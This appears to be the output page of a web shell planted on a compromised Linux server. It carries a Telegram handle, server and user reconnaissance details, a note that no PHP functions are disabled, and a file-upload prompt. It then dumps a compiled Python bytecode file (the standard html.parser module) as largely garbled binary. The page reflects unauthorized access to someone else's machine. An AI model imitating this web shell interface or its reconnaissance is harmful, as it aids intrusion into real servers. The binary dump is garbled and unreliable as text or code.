https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3.12/html/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.12/html/__pycache__/parser.cpython-312.pyc
�

)!�h|F��>�dZddlZddlZddlmZdgZejd�Zejd�Zejd�Z	ejd�Z
ejd	�Zejd
�Zejd�Z
ejd�Zejd
�Zejd�Zejdej"�Zejd�Zejd�ZGd�dej*�Zy)zA parser for HTML and XHTML.�N)�unescape�
HTMLParserz[&<]z
&[a-zA-Z#]z%&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]z)&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]z	<[a-zA-Z]z
</[a-zA-Z]�>z--\s*>z+([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*z]((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*aF
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
z#</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>c���eZdZdZdZdd��fd�
Z�fd�Zd�Zd�Zd	Z	d
�Z
d�Zd�Zd
�Z
d�Zdd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z�xZS)raEFind tags and other markup and call handler functions.

    Usage:
        p = HTMLParser()
        p.feed(data)
        ...
        p.close()

    Start tags are handled by calling self.handle_starttag() or
    self.handle_startendtag(); end tags by self.handle_endtag().  The
    data between tags is passed from the parser to the derived class
    by calling self.handle_data() with the data as argument (the data
    may be split up in arbitrary chunks).  If convert_charrefs is
    True the character references are converted automatically to the
    corresponding Unicode character (and self.handle_data() is no
    longer split in chunks), otherwise they are passed by calling
    self.handle_entityref() or self.handle_charref() with the string
    containing respectively the named or numeric reference as the
    argument.
    )�script�styleT)�convert_charrefsc�P��t�|��||_|j�y)z�Initialize and reset this instance.

        If convert_charrefs is True (the default), all character references
        are automatically converted to the corresponding Unicode characters.
        N)�super�__init__r	�reset)�selfr	�	__class__s  ��"/usr/lib/python3.12/html/parser.pyrzHTMLParser.__init__Ws!���	���� 0����
�
��c�b��d|_d|_t|_d|_t
�|��y)z1Reset this instance.  Loses all unprocessed data.�z???N)�rawdata�lasttag�interesting_normal�interesting�
cdata_elemrr
)rrs �rr
zHTMLParser.resetas)���������-������
��
�rc�N�|j|z|_|jd�y)z�Feed data to the parser.

        Call this as often as you want, with as little or as much text
        as you want (may include '\n').
        rN)r�goahead�r�datas  r�feedzHTMLParser.feedis���|�|�d�*������Q�rc�&�|jd�y)zHandle any buffered data.�N)r�rs r�closezHTMLParser.closers
�����Q�rNc��|jS)z)Return full source of start tag: '<...>'.)�_HTMLParser__starttag_textr s r�get_starttag_textzHTMLParser.get_starttag_textxs���#�#�#rc��|j�|_tjd|jztj�|_y)Nz</\s*%s\s*>)�lowerr�re�compile�Ir)r�elems  r�set_cdata_modezHTMLParser.set_cdata_mode|s/���*�*�,����:�:�n�t���&F����M��rc�(�t|_d|_y�N)rrrr s r�clear_cdata_modezHTMLParser.clear_cdata_mode�s��-�����rc��|j}d}t|�}||k�r-|jrq|jse|j	d|�}|dkr�|jdt
||dz
��}|dk\r'tjd�j||�s�n�|}n?|jj||�}|r|j�}n|jr�ns|}||krJ|jr*|js|jt|||��n|j|||�|j||�}||k(r�n	|j}|d|��r1t j#||�r|j%|�}	n�|d|�r|j'|�}	nt|d|�r|j)|�}	nY|d|�r|j+|�}	n>|d	|�r|j-|�}	n#|d
z|ks|r|jd�|d
z}	n�n<|	dk�r`|s�n2t j#||�r�nB|d|�rK|dz|k(r|jd��nt.j#||�r�n|j1||dzd�n�|d|�rF|}dD]'}
|j3|
|d
z�s�|t|
�z}n|j1||d
z|�n�|d|�r|j5||dzd�n~|||dzj7�dk(r|j9||dzd�nM|d	|�r|j1||dzd�n,|d|�r|j;||dzd�nt=d��|}	|j||	�}�n�|d|�r�t>j#||�}|rY|jA�dd}|jC|�|jE�}	|d|	d
z
�s|	d
z
}	|j||	�}���d||dvr,|j|||dz�|j||dz�}�n|d|�r�tFj#||�}|rW|jAd
�}|jI|�|jE�}	|d|	d
z
�s|	d
z
}	|j||	�}���tJj#||�}|rE|rB|jA�||dk(r,|jE�}	|	|kr|}	|j||d
z�}n>|d
z|kr'|jd�|j||d
z�}nnJd��||kr��-|rm||krh|js\|jr*|js|jt|||��n|j|||�|j||�}||d|_y)Nr�<�&�"z[\s;]�</�<!--�<?�<!r�)z--!z--�-�z	<![CDATA[��	�	<!doctype�we should not get here!z&#����;zinteresting.search() lied)&r�lenr	r�find�rfind�maxr'r(�searchr�start�handle_datar�	updatepos�
startswith�starttagopen�match�parse_starttag�parse_endtag�
parse_comment�parse_pi�parse_html_declaration�
endtagopen�handle_comment�endswith�unknown_declr&�handle_decl�	handle_pi�AssertionError�charref�group�handle_charref�end�	entityref�handle_entityref�
incomplete)rrZr�i�n�j�ampposrJrH�k�suffix�names            rrzHTMLParser.goahead�s����,�,��
����L���!�e��$�$�T�_�_��L�L��a�(���q�5�%�]�]�3��A�q��t��=�F��!���J�J�x�0�7�7���H���A��(�(�/�/���;������
�A������A��1�u��(�(�����$�$�X�g�a��l�%;�<��$�$�W�Q�q�\�2����q�!�$�A��A�v�u� �+�+�J��#�q�!��%�%�g�q�1��+�+�A�.�A���a�(��)�)�!�,�A����*��*�*�1�-�A���a�(��
�
�a�(�A���a�(��3�3�A�6�A��!�e�q�[�C��$�$�S�)��A��A���q�5���#�)�)�'�1�5��#�D�!�,��q�5�A�:� �,�,�T�2�'�-�-�g�q�9� �!�/�/���!���
�>�#�F�A�.���&8�&�F�&�/�/���!��<� !�S��[� 0�� %�&��+�+�G�A�a�C��N�;�#�K��3��)�)�'�!�A�#�$�-�8� ��1�Q�3��-�-�/�;�>��(�(���1����7�#�D�!�,��+�+�G�A�a�C�D�M�:�#�D�!�,����w�q��s�t�}�5�,�-F�G�G��A��N�N�1�a�(���D�!�$��
�
�g�q�1��� �;�;�=��2�.�D��'�'��-��	�	��A�%�c�1�Q�3�/���E�����q�!�,�A���g�a�b�k�)��(�(���1�Q�3��8� �N�N�1�a��c�2����C��#�!�����3��� �;�;�q�>�D��)�)�$�/��	�	��A�%�c�1�Q�3�/���E�����q�!�,�A��"�(�(��!�4����u�{�{�}�����;�!�I�I�K����6� !�A� �N�N�1�a�!�e�4����!�e�q�[��$�$�S�)����q�!�a�%�0�A��5�5�5�q�w�!�e�z�1�q�5�����$�$�T�_�_�� � ��'�!�A�,�!7�8�� � ���1��.����q�!�$�A��q�r�{��rc�p�|j}|||dzdk(sJd��|||dzdk(r|j|�S|||dzdk(r|j|�S|||dzj�d	k(r7|j	d
|dz�}|dk(ry|j||dz|�|dzS|j
|�S)
Nr7r6z+unexpected call to parse_html_declaration()r9r4r:z<![r;r<rr>r)rrM�parse_marked_sectionr&rArT�parse_bogus_comment)rr^r�gtposs    rrOz!HTMLParser.parse_html_declarations����,�,���q��1��~��%�	D�)C�	D�%��1�Q�q�S�>�V�#��%�%�a�(�(�
�Q�q��s�^�u�
$��,�,�Q�/�/�
�Q�q��s�^�
!�
!�
#�{�
2��L�L��a��c�*�E���{�����W�Q�q�S��/�0���7�N��+�+�A�.�.rc��|j}|||dzdvsJd��|jd|dz�}|dk(ry|r|j||dz|�|dzS)Nr7)r6r3z"unexpected call to parse_comment()rr>r)rrArQ)rr^�reportr�poss     rrgzHTMLParser.parse_bogus_comment(su���,�,���q��1��~��-�	C�1B�	C�-��l�l�3��!��$���"�9��������!��C� 0�1��Q�w�rc���|j}|||dzdk(sJd��tj||dz�}|sy|j�}|j	||dz|�|j�}|S)Nr7r5zunexpected call to parse_pi()r>)r�picloserDrErUrZ)rr^rrJr`s     rrNzHTMLParser.parse_pi4st���,�,���q��1��~��%�F�'F�F�%����w��!��,�����K�K�M�����w�q��s�A��'��I�I�K���rc�~�d|_|j|�}|dkr|S|j}||||_g}tj	||dz�}|sJd��|j�}|j
d�j�x|_}||kr�tj	||�}|sn�|j
ddd�\}	}
}|
sd}n,|dddcxk(r|ddk(sn|dddcxk(r|ddk(rnn|dd}|rt|�}|j|	j�|f�|j�}||kr��|||j�}|d	vr|j|||�|S|jd
�r|j||�|S|j!||�||j"vr|j%|�|S)Nrrz#unexpected call to parse_starttag()r7r:�'r>�")r�/>rq)r#�check_for_whole_start_tagr�tagfind_tolerantrJrZrXr&r�attrfind_tolerantr�append�striprFrR�handle_startendtag�handle_starttag�CDATA_CONTENT_ELEMENTSr+)
rr^�endposr�attrsrJrb�tag�m�attrname�rest�	attrvaluerZs
             rrKzHTMLParser.parse_starttag@s���#����/�/��2���A�:��M��,�,��&�q��0����� �&�&�w��!��4���;�;�;�u��I�I�K��"�[�[��^�1�1�3�3���s��&�j�!�'�'���3�A���()����1�a�(8�%�H�d�I�� �	��2�A��$�8�)�B�C�.�8��2�A��#�7��2�3��7�%�a��O�	��$�Y�/�	��L�L�(�.�.�*�I�6�7�����A��&�j��a���%�%�'���k�!����W�Q�v�.�/��M��<�<����#�#�C��/�
�
�
� � ��e�,��d�1�1�1��#�#�C�(��
rc�H�|j}tj||�}|rt|j�}|||dz}|dk(r|dzS|dk(r6|j	d|�r|dzS|j	d|�ry||kDr|S|dzS|dk(ry|dvry||kDr|S|dzStd	��)
Nrr�/rqr7r>rz6abcdefghijklmnopqrstuvwxyz=/ABCDEFGHIJKLMNOPQRSTUVWXYZr=)r�locatestarttagend_tolerantrJrZrHrV)rr^rr}r`�nexts      rrrz$HTMLParser.check_for_whole_start_tagls����,�,��&�,�,�W�a�8�������A��1�Q�q�S�>�D��s�{��1�u���s�{��%�%�d�A�.��q�5�L��%�%�c�1�-���q�5��H��q�5�L��r�z���5�6���1�u����1�u���6�7�7rc��|j}|||dzdk(sJd��tj||dz�}|sy|j�}tj||�}|s�|j�|j|||�|Stj||dz�}|s!|||dzdk(r|dzS|j|�S|jd�j�}|jd|j��}|j|�|dzS|jd�j�}|j�%||jk7r|j|||�|S|j|�|j�|S)	Nr7r3zunexpected call to parse_endtagrr>r:z</>r)r�	endendtagrDrZ�
endtagfindrJrrFrsrgrXr&rA�
handle_endtagr.)rr^rrJrh�	namematch�tagnamer*s        rrLzHTMLParser.parse_endtag�sy���,�,���q��1��~��%�H�'H�H�%�� � ��!�A�#�.�����	�	���� � ��!�,������*�� � ���5�!1�2���(�.�.�w��!��<�I���1�Q�q�S�>�U�*��Q�3�J��3�3�A�6�6��o�o�a�(�.�.�0�G�
�L�L��i�m�m�o�6�E����w�'���7�N��{�{�1�~�#�#�%���?�?�&��t���&�� � ���5�!1�2������4� ������rc�J�|j||�|j|�yr-)rxr��rr|r{s   rrwzHTMLParser.handle_startendtag�s �����S�%�(����3�rc��yr-�r�s   rrxzHTMLParser.handle_starttag����rc��yr-r�)rr|s  rr�zHTMLParser.handle_endtag�r�rc��yr-r��rrds  rrYzHTMLParser.handle_charref�r�rc��yr-r�r�s  rr\zHTMLParser.handle_entityref�r�rc��yr-r�rs  rrFzHTMLParser.handle_data�r�rc��yr-r�rs  rrQzHTMLParser.handle_comment�r�rc��yr-r�)r�decls  rrTzHTMLParser.handle_decl�r�rc��yr-r�rs  rrUzHTMLParser.handle_pi�r�rc��yr-r�rs  rrSzHTMLParser.unknown_decl�r�r)r)�__name__�
__module__�__qualname__�__doc__ryrr
rr!r#r$r+r.rrOrgrNrKrrrLrwrxr�rYr\rFrQrTrUrS�
__classcell__)rs@rrr?s�����*1��+/������O�$�N��G#�X/�*	�	�(�X8�D%�P �

�
�
�
�
�
�
�
�
r)r�r'�_markupbase�htmlr�__all__r(rr]r[rWrIrPrm�commentclosersrt�VERBOSEr�r�r��
ParserBaserr�rr�<module>r�s#��"�
����.�� �R�Z�Z��'��
�R�Z�Z��
%�
��B�J�J�>�?�	�
�"�*�*�@�
A���r�z�z�+�&��
�R�Z�Z��
%�
�
�"�*�*�S�/���r�z�z�)�$���2�:�:�L�M���B�J�J�=�>��(�R�Z�Z�)��Z�Z���
�B�J�J�s�O�	��R�Z�Z�>�
?�
�\
��'�'�\
r

https://t.me/RX1948 - 2025